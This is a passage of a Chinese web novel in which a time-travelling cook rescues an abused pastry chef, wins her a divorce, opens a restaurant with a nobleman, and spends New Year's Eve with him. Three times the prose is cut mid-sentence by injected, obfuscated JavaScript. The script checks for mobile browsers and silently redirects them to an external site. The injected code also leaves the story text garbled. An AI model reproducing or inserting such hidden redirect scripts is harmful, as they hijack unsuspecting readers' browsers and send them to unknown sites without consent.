“好嘞！我马上去办！” 卫安应声便跑，朱绾纾想要喊住他，吃了饭再去，奈何他跑得真的太快。 正值午后，朱绾纾带着夏禾来到了马桥对面最大的一间酒楼。二人刚踏进酒楼，一个小厮就弯腰迎接，很是热情。 “两位客观，里面请~” 朱绾纾点了小厮推荐的几道特色菜，味道都是中规中矩，很少创新，不过，这盘点心无论外形还是味道，都让她眼前一亮。 这点心的名字叫做‘荷花酥’，粉色外皮层层叠叠的，中间开口处，是淡黄色。 咬上一口，酥皮轻薄，里面的莲蓉清甜可口，甜而不腻。 “你们店里的点心师傅好本事，不知可否一见？” 朱绾纾和一旁的小厮搭话，酒楼内突然“哐当”一声，吸引了二人的注意力。 只见一个蓬头垢面的男子，走起路来晃晃悠悠，像是喝醉了酒的。 他手里，死死揪着一个妇人的头发，那妇人还穿着围裙，双手沾满了面粉，像是这店里的师傅。 她吃痛的缩着脖子，眼眶里不停地流着泪，看起来很是凄惨。 朱绾纾身边的小厮有些尴尬的开口， “客官，那位就是我们店里的点心师傅，林三娘。” 朱绾纾皱眉，她不知道二人是什么关系，他们之间发生了什么，但一个壮汉如此对待一个手无缚鸡之力的女人，实在是无法忍受。 她起身走了过去，便听到那男人恶狠狠地声音， “把钱给老子拿出来！别以为我不知道，你把钱藏起来，不就是为了早日和你那野男人私奔吗！你这不守妇道的贱人！” 林三娘拼命地摇头，嘴里不停地否认“我没有，我没有！” “你有没有老子心里清楚！快把钱拿出来！否则那赌坊的人，要断了我手！” 周围的食客见此状也都纷纷皱眉，但没有人站出来制止。那林三娘就这样，在大厅里被男人打得躺在地上惨叫。 “住手！” 朱绾纾猛地起身，伸手拦在常武面前，并给身边的夏禾使眼色，让她把林三娘扶起。 看着脸上青紫的林三娘，朱绾纾不禁心里为她难过，眼底也升起些寒意。 “呦，这位小娘子，你这是？” 常武的轻佻声音，让朱绾纾直犯恶心，她只白了一眼， “敢问，这位娘子是犯了什么罪，你要如此，在大庭广众之下打骂她？” 林三娘在夏禾的搀扶下踉跄着起身，她想伸手拉朱绾纾，只是发现自己手脏得很，怕弄脏了衣服。 “什么罪？呵，老子打婆娘天经地义，没有罪，也打得。怎么？小娘子是要替她说情？” 常武斜眼看着朱绾纾，从上到下的扫视着她，朱绾纾冷笑一声， “我看，你是马尿喝多糊涂了。今日你不是要钱吗？我给你便是，拿了钱赶紧滚，夏禾。” “是，姑娘。” 夏禾从荷包里掏出一串铜钱，扔在地上。常武见了钱，眼放绿光，直接跪在地上将铜钱一一捡起。 他斜眼看向朱绾纾，在他想伸手调戏的时候，夏禾快速将他手擒住，只听常武直喊疼， “哎呦疼死老子了，快松手！” “拿了钱不受点苦怎么行呢？你以为这钱白送你啊，凭什么？凭你赌博赔底儿掉，还是凭你喝完马尿打媳妇？” 夏禾一拳一拳的朝常武脸上打着，直到他快昏过去时，才一脚将他踹出去。 感受到领口处的松散，常武赶忙起身，抓起方才掉落的铜钱，就往外跑。 朱绾纾对夏禾挑眉，她这个小丫头真是厉害，之前只知道她力气大，没想到，打人也挺有一手的。 “多些小娘子出手相助。”林三娘颤抖的声音响起，朝朱绾纾河夏禾福了一礼。 夏禾走过来扶着她，三人在刚才的位置坐下。 朱绾纾倒了杯茶放在林三娘面前，看着她一直低着的头，又瞧见她眼角处的青紫，无声的叹了口气。 “林三娘，方才我尝着你做的这荷花酥，味道真的很好。” 听到朱绾纾的话，林三娘抬头，嘴角扬起一丝苦笑， “多谢小娘子喜欢，待会儿我再给您端来些，至于那银钱，我会” “不必，” 朱绾纾将她的话打断，自己方才之所以拿钱给他，并没有想着要谁还。只是想着赶紧把他打发走。 “林三娘子，您一直都在这家酒馆吗？” “今日是最后一日了，我那婆母嫌不喜我在外抛头露面，想让我回家为常家生个一男半女的。” 朱绾纾眉头都快拧成一团了，她觉得自己是不是听错了！刚才被打的疼痛感都没消失呢吧，这就想着回家给那畜生生娃？ “林三娘子，他把你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17297565|198608||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 打成这样！你还想着给他生娃？” 朱绾纾情绪一时有些激动，声音稍微大了些。夏禾红着脸小声提醒她“姑娘。” 朱绾纾深呼吸，尝试让自己的情绪平静一些， “林三娘子，你做茶点的手艺这么好，完全能够养活自己的。我的食肆马上也要开业了，如果你愿意，可以过去。不仅月前翻倍，还可以管你吃和住。” 林三娘眼神中闪过一丝惊喜，转瞬又暗淡下来。 “小娘子，多谢你。女子在家从父，出门从夫，这是我的命。” 朱绾纾心里堵得难受， “就没想过和离？” 得到的答案可想而知，原本今天拿到饭馆房契的她应该高兴才是，结果遇到这档子事儿，让她怎么也高兴不起来。 她提着林三娘送给自己的两盒点心回到家，沈清安和朱仲谦尝了几块，都觉得味道很好，只是可惜了。 入夜，朱绾纾让夏禾陪自己到汴河边走走，只是刚没走几步，便看到一个熟悉的身影。 朱绾纾和夏禾快走几步， “林三娘！” 在林三娘纵身一跃的那一瞬间，夏禾飞扑上去，死死抓住她的脚踝。 朱绾纾也上前帮忙，二人终于把她拽了上来。 林三娘看到二人，她颤抖的手，从怀里拿出一张皱皱的纸，声音哽咽 “常武把我卖了。” 朱绾纾将那张纸打开，是一张刚签下的卖身契。常武把林三娘卖给了瓦舍里的皮肉场子。 “小娘子，我真的活不成了。” 说罢，再也忍不住的林三娘，失声痛哭。 朱绾纾紧握着手里的那张卖身契，她强忍怒气，将她扶起来，朝家的方向走去。 灶房里，林三娘换上了沈清安的衣裳，她坐在凳子上，看着朱绾纾从一旁去了两块水豆腐，放在菜板上。 “林三娘子，你瞧这豆腐。” 朱绾纾将一块重石，猛地压在那白嫩的豆腐上，里面的水分，瞬间被榨出来。 “若不是经历这一场重石的压榨，它便成不了这韧性十足的豆腐干。这豆腐干，若是经了火煎或是卤汤，能比肉还香。” 朱绾纾起锅下一块儿猪油，待锅中冒烟，将豆腐入锅。 “其实，人也是如此，离了谁都能活。常武之所以欺辱你，是因他觉得你是离不开水的豆腐，可在方才，你连死都不怕的人，还担心什么？” 在说话之际，一盘挂着浓郁酱汁的‘焦酱烧豆腐’便已经做好了。朱绾纾端着盘子走到林三娘面前， “你看，豆腐离了水，能做干，做皮。那你离了那常家，也可以成为汴京城里独一无二的林三娘啊。” 林三娘眼眶红肿的看着这盘豆腐，良久，她颤抖的手拿起筷子，夹起一块豆腐，用力的咬了一口，像是下定了什么决心一般。 口中的那团豆香味，让她猛地一惊。不管是物还是人，离了谁，都可以依旧精彩。 林三娘忽然抬起头，眼神中燃起一丝期望， “朱小娘子，这卖身契我不认！我要和离！不知你那饭馆还要我不？” 朱绾纾眼眶里，泪水在打转，她笑着点了点头。 7. 暖炉羊羔粉 翌日申时，桑家瓦舍。 常武正蹲在一家赌坊门口，满眼的红血丝。刚得的银钱，又输了个精光。 “今天真是背！” “常武。” 一个清冷的声音响起，朱绾纾朝他走了过去，身旁的林三娘害怕的躲在夏禾身后。 常武抬头看清来人，眼底闪过一丝惊喜，在看到林三娘后，更是兴奋 “你这婆娘，赶紧跟我走，交了人，我才能拿到钱。” 说着，就起身朝林三娘走去。夏禾向前一步，挡在前面。常武下意识的弄了弄自己眼角的乌青，突然停下了脚步。 “常武，林三娘你今天带不走。” 说着，朱绾纾从衣袖中掏出一本薄薄的《大宋刑统》，翻开其中一页后，指尖在上面轻轻一点， “这上面写着，卖良人为奴婢为娼者，杖一百，徒三年。”说完，将册子扔向常武。 常武没有接，更是不屑的冷哼， “哼，你少吓唬老子，卖她，是老子的家事，想卖便卖！” 经这一闹，周遭已经围满了看热闹的人， “想卖就卖？看来常郎君的这颗脑袋，是长得太稳当了，想换个地方挪挪位子。” 一道散漫却带着寒意的声音从人群外传来。 朱绾纾的目光寻着声音望了过去，透过人群，看到了穿着一身玄狐领缂丝长袍的宋衍。 他手中把玩着一把折扇，嘴角挂着抹似笑非笑的弧度。今天看来，倒有些在小说里看到的，世子爷们固有的纨绔形象了。 卫安则一如往常，腰间挂着把刀，一脸冷峻地跟在后头。 两人视线交汇后，朱绾纾微微挑眉，走到他跟前福了一礼， “宋郎君。” 常武目光上下扫视宋衍，特别是在看到他腰间的那块玉牌时，吓得腿软，直接跪在了地上。 “没有没有，贵人一定是听错了。” “哦？听错了？”宋衍挑眉，“朱小娘子，他说我听错了，你是怎么想的？” 朱绾纾扭头看了眼林三娘，对她伸出手。 林三娘看着跪在地上的常武，将自己的写好的和离书拿出来，递给她，朱绾纾在看到手中的那张纸时，嘴角勾起。 “听错了吗？这和离书签了，那就是咱们听错了，如果不签，那就去府衙审一审吧。” 常武气得咬牙切齿，但有贵人在这里，不能拿她们怎么样。只是，这和离书要是签了，那他那些银子怎么办？ 朱绾纾看着无动于衷的常武，朝宋衍旁边站了站， “常武，你若还不签，那就让宋郎君身旁的侍卫把你送府衙了。” 宋衍闻言，眉间微微一挑。这小娘子，颇有衣服狐假虎威的样子。他配合道， “卫安。” “是。” 不等常武反应，卫安就一下把他拎起， “签！我签！” 常武那遇到过这架势，他颤抖着手，在那张和离书上重重的按上手印。 朱绾纾将和离书拿来，看了看，递给已经泪流满面的林三娘。 “谢谢朱小娘子，谢谢贵人。” 林三娘激动地朝二人跪拜。朱绾纾赶忙将她扶起， “不必谢我，这是你自己做的决定，你要感谢你自己。” 刚才，朱绾纾完全可以自己拿和离书让常武签，她之所以让林三娘拿着递给自己，就是想看看她的决心。 “宋郎君，今日怎有兴致来这里？” 宋衍抿了抿唇，“卫安想来逛逛，我陪他来看看。” 朱绾纾低笑道，“那宋郎君可真是体贴下属啊。今日多谢，若不是你，不会办的这么快。” “如果我今日不在，你打算如何应对？” “这么多人，料他也不会做什么出格的事，如果他不愿签，那就带着林三娘去开封府！虽然会费些功夫，但相信会有公道的。” 宋衍点头，不说其他的，单凭常武那家伙卖林三娘这件事，就足矣让他吃些苦头，牢狱之灾是逃不了的。 “宋郎君三日后可有空闲？” “怎么？” “以表感谢？” 宋衍点头，吩咐卫安将朱绾纾他们送回家，看着朱绾纾的背影，他突然笑了起来。 原本以为今日是朱绾纾被人欺负了，可谁曾想，这位小娘子却带着人来找赌鬼和离。 这放眼整个汴京城，都找不出第二人，还真是一个奇女子。 三日后，朱绾纾他们一早早就来到了食肆。 很好，里面的桌椅和门窗已经按照自己的要求焕然一新，她拿着一个写着“不倦”二字牌子来到二楼，把它挂在了最幽静的一处房间外。 “仅仅三日，这店面的变化竟如此之大。” 楼下响起宋衍的声音，朱绾纾站在二楼围栏处，看向他， “不知宋掌柜可还喜欢？” 宋衍抬头看向她，“嗯，喜欢。” 这个直接的回答过于直接，让朱绾纾有些意外。她没有接话，而是来到了那间“不倦”的包间门口。 宋衍走了过来，拿起折扇指着牌子 “不倦？” 朱绾纾点头，“希望宋郎君进了这门，便能暂抛琐事，久坐而不倦。” 宋衍听着她的解释不由眉间轻挑，嘴角不自觉的向上扬了起来。 他在窗边的的凳子上坐下，不一会儿，朱绾纾端着一个小暖炉走了进来。 宋衍侧头看她，寻常女子，特别是未出阁的，谁不是珠翠满头，亮色衣衫。 可她，总是喜欢用一根简单的，没有任何珠翠点缀的木簪，好像对这些毫不在意。 朱绾纾感受到目光，抬眸看向宋衍，只见那人依旧目不斜视的看着自己。 “可有什么不妥？” 宋衍笑着摇头，指向那个小炉子 “这上面是什么？” “暖炉羊羔粉” 朱绾纾砂锅的盖子打开，里面乳白色的羊汤还在咕嘟咕嘟的翻滚着。 这里面有羊肉片和晶莹透亮的豆粉，最上面是点缀的绿色葱花。 “这羊肉啊，是今早现宰的，没有一丝的膻气。宋郎君尝尝？” 朱绾纾将盛好的一碗递过去，宋衍接过瓷碗，浓郁的羊肉鲜味瞬间钻进鼻腔。 他先尝了一口汤，鲜美的羊汤，带着暖意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17297566|198608||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顺着喉咙直抵脾胃。汤里面的羊肉片，也是极为软烂，肯定是炖了不少时辰。 “这汤羹，费了不少功夫吧。” 朱绾纾丝毫没有掩饰，她就是要让这位“大腿”知道，自己为了“抓住”他的胃，废老大功夫了。 “听卫安说，近几日郎君的胃口不太好，这俗话说得好，人是铁，饭是钢，一顿不吃就饿得慌。” 宋衍微微蹙眉，“哪位人士讲的？” 朱绾纾反应过来，赶忙解释，“我，我说的，不过这不重要，以后，如果郎君吃得惯，你的一日三餐，我包了。” 宋衍微愣，她这话，又是什么意思？ “有了世子大人的光顾，那咱们的铺子岂不是更加红火！”说得朱绾纾满脸笑意，好似这火爆的生意，已经成真。 听到这句话，宋衍气结，合着她说那一日三餐不是关心自己啊。 “朱绾纾，你果真大胆，连我都敢算计。” 朱绾纾抿了口茶，眼珠子转了一圈，笑着解释， “没有！这不是算计！郎君莫要忘了，这可不是我一人的铺子啊，是咱们的！最后，你也有分成的。” 咱们的，这词听起来不错，算计便算计吧。 “我府上的库房可是已经腾好位置了。” “我也在城内看好了一处院子。” 二人相识一笑，以茶代酒的碰了碰杯。 正当两人聊得开心时，窗外响起一阵声音。 “走走走，没钱你吃什么饭啊，我们可不赊账！” 朱绾纾推开窗，雪地里，一个衣衫褴褛的男子，怀里抱着几本书籍，正冻得瑟瑟发抖。 “夏禾，去灶房，盛碗羊汤给他。再给他些钱，就说，算借的。” 片刻后，男子接过那碗羊汤，狼吞虎咽的喝了下去。全身瞬间暖和起来，当夏禾递给他银钱时，男子朝窗户处望了望，行了一礼。 “一碗汤粉，几文钱，能换回什么？”宋衍的声音响起，听不出什么情绪。 朱绾纾对他微微一笑，“这男子是个读书人，你看他把怀里的那几本书籍护得多紧。谁能说得准，这今日穷书生，不会是明天的状元郎呢？一碗羊汤和几文钱，不算什么，很划算的。” 宋衍气得笑出了声，他拿起手边的折扇在她额头上轻敲一下， “满脑子的买卖，这世子的名头还不够你用？再说了，状元可只有一个。” 朱绾纾轻柔额头，“嗐，我只是想着，举手之劳，能帮一下便帮一下。没想什么回报的。” 宋衍无语，合着，她对别人好，就是不求回报，将这满脑的算计都用在自己身上了。 “罢了。”宋衍轻笑一声，“那开业那日，朱掌柜还有什么吩咐吗？” 朱绾纾眼神一亮，这可是他主动问的，便不假思索的回“有！” 得，就是等着自己这句话呢。“什么？” “早就听闻咱们世子爷写得一手漂亮的字，不知可否给咱们提上几笔？” 宋衍点头，当看到夏禾端来那一摞堆成小山的纸张时，才开始后悔，这确定叫提几笔？ 朱绾纾狡黠一笑，“来，我帮宋掌柜磨墨。” 8. 花神盲盒 腊月二十三，正直祭灶日。 许是到了年关，汴京城更是热闹起来。 “且慢食肆今日开张，凡是进店消费满百文，送‘花神锦盒’一个！” 站在门口的程二大声的吆喝着，吸引了大部分路过行人的目光。 朱绾纾站在旁边的桌子旁，上面摆放着十二个外表看起来一模一样的锦盒。 这些盒子倒是寻常的杉木做的，表面涂了一层薄薄的清漆，看起来只是精致，没有其他特别。 人群中响起了讨论声， “花神锦盒？你看那盒子也没特别之处，不知道里面装的是啥。” “要说100文，也不多，反正到了吃饭的点，要不去尝尝？” 人群中，有人结伴走进食肆，还有人在驻足观望着。 “这位小娘子，你手里那锦盒里，装的都是啥啊？” 朱绾纾宛然一笑，缓缓开口，“既然是花神锦盒，那固然有十二个，只是，这锦盒外表看起来都一样，特别在于里面装的什么，只有打开了才知道。” 她随手拿起一个锦盒，随着木盖滑开，一个极淡的香气散发出来。 盒子的正中央，放着一个宛若“雪球”的点心，而一旁，还有一张纸。朱绾纾将果子拿出来， “这果子，叫‘踏雪寻梅’，用的是顶级的糖霜，裹着咱们铺子秘制的豆沙馅。而这张纸，”她将果子放回锦盒，拿出盒里的纸张，打开， “这每个锦盒里，还有一张”花神笺”，若在年前，能集齐十二款，开春后，能在咱们食肆换上一桌‘春分宴’！” 周围的人听到这句话后，议论的声音更大了，特别是在朱绾纾说完下一句话后，在场犹豫的小娘子们， “想必大家都被这‘花神笺’上的所吸引，这正式宋郎君亲笔题写的。” 说完便转身回到食肆里，人群中瞬间炸开了锅，不过小娘子和郎君们关注的点，却不太一样。 “宋郎君？听闻这间食肆开张前，宋世子就经常出现，难不成真是宋世子亲笔？” “呦，这集齐十二张，还能吃上不要钱的春分宴？那的去瞧瞧。” 一时间，原本还在观望的食客便一拥而上，铺子里瞬间被填满。 “我要一份酱红金齑，酱烧豆腐，再来一壶雪水云芽，小厮，凑够百文了嘛？” “够了够了，您可随意挑选。” 不一会儿，摆放锦盒的桌子前挤满了食客，甚至都等不及吃饭，想尽快看看自己能抽到什么。 “啊！我抽中了‘水仙笺’！这字，可当真是铁画银钩！”一个书生捧着那张宣纸如获至宝。 朱绾纾不由感叹，咱们这位世子可真是个大宝贝儿。 一直坐在二楼“不倦”包房里的宋衍，坐在靠近里窗的长椅上，透过珠帘看向楼下。 一旁的卫安小声嘀咕着，“主子，这朱小娘子，把您的名头，能用的地方，都用了。” 宋衍暗笑，现在看来，之前的那顿答谢宴，也是在利用自己了。真是没良心。 “嘟嘟嘟”一阵敲门声响起。 “何人？”卫安厉声问。 “我们家姑娘让我给送些吃食给贵人。” 推开门，夏禾身后还跟着一位小厮，他们没人端着两盘菜。 “这些是我家姑娘为贵人做的” 宋衍低头看着几盘菜没有吭声，但他的嘴角却微不可查的上扬了一个弧度。 朱绾纾和林三娘在后厨忙的不可开交。 林三娘负责铺子里的果子，那十二花神锦盒，都是她做的。 而朱绾纾则负责盯着新来的厨子做菜。 一开始在考虑自己做还是找人时，也考虑到若是他们，将各种菜品的配方学会了跑路怎么办？ 朱绾纾灵机一动，就想到了配方。她提前将菜单上的创新菜品，所需要的调料提前配好，做菜时，只需要将调料按顺序和量放入即可。 不过，就算学会了也没关系，创新菜和经营方案她多的是。 正在她给宋衍做好餐食，准备去大厅看看时，突然想起一阵熟悉的声音，赵玉华，那朱府的人真是各个狗皮膏药。 “闪开闪开，朱绾纾呢？让她出来！朱家的逃奴开的店，我怎么不能拿？” 赵玉华身后还跟着几个朱府的家丁，站在门口就开始大喊，泼妇一般。 朱绾纾走到跟前，没正眼看赵玉华，却看向她手里的那个竹篮，里面的五个锦盒，嘲讽一笑。 “这位...大娘子，你可是在店里消费了五百文？” 赵玉华表情一滞，转而理直气壮说道，“哼，整个店都是我们朱家的，还用给钱？” 朱绾纾无语至极，她见过脸皮厚的，但是像赵玉华这种厚度的还是第一次。 “这整个店，是朱家的不错，不过和你有什么关系？怎么？你要把自己卖到我家做奴？” “你！”赵玉华气结，“我可是朱府的主母！我当然要来管事！” “哎呦呦，朱府的主母要当全天下朱姓的家啊！真是好大的威风，好大的脸~” 一旁的食客不约而同的发出阵阵笑声，暗自感叹这顿饭吃得值。有美食，有果子，还有好戏。 “商贾之女养出的没教养的贱丫头！”赵玉华气得浑身发颤，正要拿盒子杂朱绾纾。 “哎呦！”一颗不知是什么的东西，砸在赵玉华手腕处，痛得她尖叫一声。 宋衍从二楼缓缓下来，原本还想说点什么的他，却看到朱绾纾对着自己摇头，便没有开口多说一句话。 “大娘子，当初像躲瘟疫搬给我们分家，这契书的印子还没干透，就后悔了？还是说，这个时候来偷东西，是朱府没银钱了嘛？” 朱绾纾故意在偷这个字，加了重音。 赵玉华气得快要晕过去了，叫上几个家丁就要走，却被一旁店里的小厮揽住， “五个锦盒，要在店里消费500文，结账。” “你！”赵玉华狠狠地瞪着小厮，又看向朱绾纾，谁知她却说， “程二，干得不错，必须给你涨工钱！” “当真？谢谢掌柜的！” 程二一听涨工钱，更是来劲的对赵玉华一行人挺直了身板。 赵玉华将篮子塞到程二手里，朝他哼了一声。 宋衍侧头看着满脸笑意的朱绾纾，嘴角也跟着上挑。 刚才的她，确实不太需要自己，怼起人来，真像个涨了气的河豚，稍不注意，就会被毒死。 夜幕降临，随着马桥头一盏盏熄灭的灯火，开张第一天的食肆也打烊了。 朱绾纾坐在凳子上， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17297567|198608||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夏禾站在身后给她垂着肩膀。 朱仲谦和沈清安坐在一旁一个念账本，一个打算盘，配合得好不默契。 过了好一会儿，朱仲谦手指连敲几下桌板， “绾绾，你猜，今日咱们挣了多少？” 朱绾纾也跟着笑了起来，不用猜，肯定比锦绣坊赚得多。 “爹，娘，以后你们除了要管锦绣坊的账，这食肆的账，也得麻烦你们了，其他人总是不放心的，不过要辛苦些。” “放心，自己生意，当然还是自己管放心，我和你爹能行。只是辛苦你了，今日累坏了吧。”沈清安很是心疼。 “虽说辛苦了点而，可是”朱绾纾靠近二人，压低声音道，“看到这些银子，就觉得苦点没什么。” 核完账后，朱仲谦和沈清安先行离开，回到家还要整理锦绣坊的账。 朱绾纾则拿起一个锦盒，来到“不倦”。就看到坐在窗边的宋衍。他今天真真的在这里带了整日，忙得时候，连卫安都下来帮忙了。 宋衍看到朱绾纾，就拿起水壶倒了杯茶，待她坐下后，递给他。 “多谢。” “有何可谢？和朱掌柜相比，不足为道。” 朱绾纾看着他笑了笑，将手里的锦盒放在桌上，轻推道他面前。 “若没有宋郎君，今日也不会如此红火。所以，这是今日最后一个锦盒赠与你。” 宋衍挑眉，“这最后一张‘花神笺’是什么？” “是‘并蒂莲’。” 宋衍指尖微颤，拆开锦盒，里面有一个果子，只是这果子形状奇特，没有那么...好看？ 将果子拿起，来回看了看，朱绾纾有些不好意思的解释， “这是我今日学着林三娘的样子做的，第一次做，可能有些不太好。” 这做菜，她是很有自信的，只要是她做的，绝对没人说不好。只是这茶点，没想到这个朝代的茶点已经这么高质量了。 宋衍几口将果子吃完了，这是他近些年第一次吃甜腻的果子，不过很奇怪，虽然是甜了些，不过他并没有觉得腻，反而还有些意犹未尽。 “嗯，味道不错！” 朱绾纾瞬间来了精神，难道自己真的是天选厨子？ “看看花神笺！我写的。” 宋衍笑着将宣纸打开，写着几行字，歪七八扭的，与其说是‘花神笺’，不如说这事一个分成契书。 “这是...” "这是承诺书。"朱绾纾抢答。 “承诺书？” “嗯，口说无凭，立据为证。以后年末，必将店铺四成利送至宋郎君府上。” 宋衍气得笑出了声，他拿着那张纸，再次仔细看了看， “咱们这朱掌柜果真是掉进钱眼里了，我是想说，这是你写得字？” 原本志气十足的朱绾纾，尴尬得咳了两声。她写的字蛮好的，只是有些用不惯毛笔。 “嗯，不过不是我写得不好，是这笔不趁手。” 宋衍看着不服输，一直在狡辩的朱绾纾，默默将那个承诺书折起来，连同锦盒一齐放在袖口。 此时的窗外，突然下起了雪，朱绾纾兴奋拉着宋衍跑到屋外。 宋衍感受到手掌传来的温度，心里暖意四起，在松开的那一刹那，又无比失落。 9. 岁除平安 腊月三十，岁除。 若是说以往，汴京城宁静的清晨是被早市的叫卖声打破，那今日，便是那爆竹声。 天还没亮透，有的人家已经开始在门前烧竹根，竹节爆裂的声音清脆响亮。 放爆竹的更是大有人在，这“噼里啪啦”的声音，便一一的传到朱绾纾耳朵里。 躺在被窝里的朱绾纾也没想到，这里的年味这么重，那火药味，在房间里都能闻得到了。 食肆门前今日挂了休市的牌子，朱绾纾原本难得想睡个懒觉，奈何这声音实在是有些吵人。 她无奈的裹着夹袄翻了个身，清醒后的她听着外面的动静，不自觉地勾起了唇角。 推开房门走进院子，家里的人已经忙活起来了。 朱仲谦和沈清安两人站在院门口贴桃符，朱仲谦更是一遍遍重复的问着， “正不正？歪不歪？行不行？” 最后被沈清安一巴掌拍在肩膀处，“贴！” 夏禾则拿着扫帚，将下了一整夜的小雪扫了扫。 朱绾纾也不闲着，她挽起袖边，直接走进厨下。 案板上放着半扇新鲜的羊后腿，朱绾纾熟练的拿起一把特制的短刀，细致且利落地将羊腿肉剔的干干净净。 “绾绾，是不是爆竹声把你吵醒了？” 沈清安端着一盆洗好的菜走了进来，把手里的半碗浆糊放在一旁，站在女儿旁边帮忙打下手。 “嗯，不过，这才是过年的样子嘛。” 朱绾纾手上动作不停，将剔好的羊头切成方块，准备一会儿做些吃食。 沈清安慈爱的看着女儿，笑着点头， “可不是，今年这个年啊，是娘过得最踏实，最开心的一个年！” 听到这话，朱绾纾放下手中的刀，顾不得手上沾着的油，侧头靠在沈清安肩头撒娇， “娘，女儿也是。” 她真的觉得很幸福。自从她来到这里之后，不仅感受到了之前从未有过的母爱和父爱，也在这里拥有了自己的食肆。 非但如此，在这里，她还交到了一位朋友，宋衍。 想到这里，朱绾纾看向窗外灰蒙蒙的天气，叹了口气。今日大年三十，不知道她的这位朋友，会怎么过。 与此同时，皇宫内的垂拱殿。 庄重，看似热闹非凡皇家岁除大宴正在进行着。 大殿内灯火辉煌，宋衍一身玄色暗纹的世子朝服，坐在一侧。 他垂眼看着案几上的那些菜，可以说这食材各个精贵，但在心里，却能一个个的给他们都挑出了毛病。 再加上大殿内满是刺鼻的龙涎香，让他更是一点胃口都没有。 “宋爱卿，” 龙坐上，官家目光深邃的看向宋衍，“今日这膳食，可是不讨宋爱卿的胃口了，瞧着你这一晚上，也没动几口。” 这话里每个字都透着对宋衍的关心，只是这语气，怎么听都不像是关切的样子。 大殿内，原本热闹的氛围，顿时安静了些许。在座的明眼人都能听出，这看似关心的话里，实则透着敲打的话外之音，只是都默契的装作没听见罢了。 宋衍抬起头轻笑，他微微欠身，语气懒散，“回官家，臣近来无事，在府里钻研一些古籍，费了心神，这胃口便惫懒了些。膳食自然是极好的，是臣身子太弱了些，无福消受。” 官家闻言，定定地看了他半晌，嘴角才露出一丝上扬的弧度。 “既然身子弱，便在府中多歇息，改日让太医去你府中瞧瞧。来人，赐宋爱卿苏合香酒一杯，暖暖身子。” 宋衍谢恩，饮下那杯冷烈的酒，入喉的瞬间，甚至被呛到。 全汴京城的人都知道，宋衍的父亲是受人敬仰的定国公。 当年战死沙场后，他母亲随之病逝。 从那以后，所有人都向往的汴京城，对于宋衍来说，却成了一个囚笼。 无人庇护的他，只得掩其锋芒，但在众人眼里，他只是一个整日病恹恹的闲散世子，甚至大家都觉得他这副身子骨活不长久。 宋衍坐在那里，直到宴席结束也没有吃一口食物。他走出皇宫，寒风让他清醒了几分。 卫安看到主子后，立刻将马牵了过来，顺势递上一个暖手炉。 “主子，回府吗？” 卫安看着脸色不太好的宋衍，小心翼翼地问。 宋衍没有伸手去接手炉，只是翻身上马，低沉的声音回了句“去朱绾纾家。” 说罢，便直奔城外方向。 小院门口贴着崭新的桃符，院门没有关严实，刚想推门进去的宋衍，就听到屋内传来的一阵欢笑声。 这一刻，他把手放了下来，自己现在过去了，怕是会打断这愉悦的氛围吧，就在他转身准备离开时， “宋郎君时间掐的真准，再迟一刻，这‘雪地藏金’可要榻了。” 朱绾纾一身淡蓝色细布棉裙，双手拖着一个托盘在灶房门前站着。 宋衍显然是被突然出现的朱绾纾吓到了，他站在院门口愣愣的看着朱绾纾。 “怎么不进去？怕我找你要除夕赏钱不成？” 朱绾纾冲他挑了挑眉，侧头往他身后看，“卫安呢？没和你一起？” “他去办点事儿。” 堂屋门帘掀起，屋内的三人见到朱绾纾身后跟着的宋衍，赶忙放下筷子准备行礼。 特别是坐在旁边的夏禾，赶忙起身添了副碗筷， “是我打扰大家了，不必多礼。”宋衍赶忙拦住了朱仲谦，语气温和。 朱绾纾将手里的碗筷接过放在宋衍面前，伸手将夏禾按回凳子上， “就是，宋郎君今夜只是咱们食肆的掌柜，再说了，这年夜饭，要人多才热闹，才算圆满嘛。” “啊，对！大家一起吃！一起吃！大家都坐。”朱仲谦附和着。 “快先吃一个我娘准备的五辛盘，” 朱绾纾将这盘菜直接推在他面前。 宋衍看着盘子里的菜，明明在宫宴上也有的菜，食材比这珍稀很多，但不知为何，反而眼前这盘菜，让他有胃口些。 沈清安又盛了一碗热气腾腾的馎饦递给宋衍， “来，喝口热乎的，这除夕夜啊，必须喝上一碗。” 宋衍双手接过，拿勺子舀着连喝几大口，暖意蔓延全身，那杯烈酒带来的刺痛感，也减轻了许多。 朱仲谦也突然想起什么，兴冲冲地拿起新的酒杯，倒满了一杯琥珀色的酒， “这是我今日去打的上好的屠苏酒，加了十几味草药熬制的，宋郎君尝尝？” 宋衍刚想去接，却被人抢先截了胡。 “爹，人宋郎君刚坐下，还没吃好呢，怎得饮酒呢？这样最为伤身。” 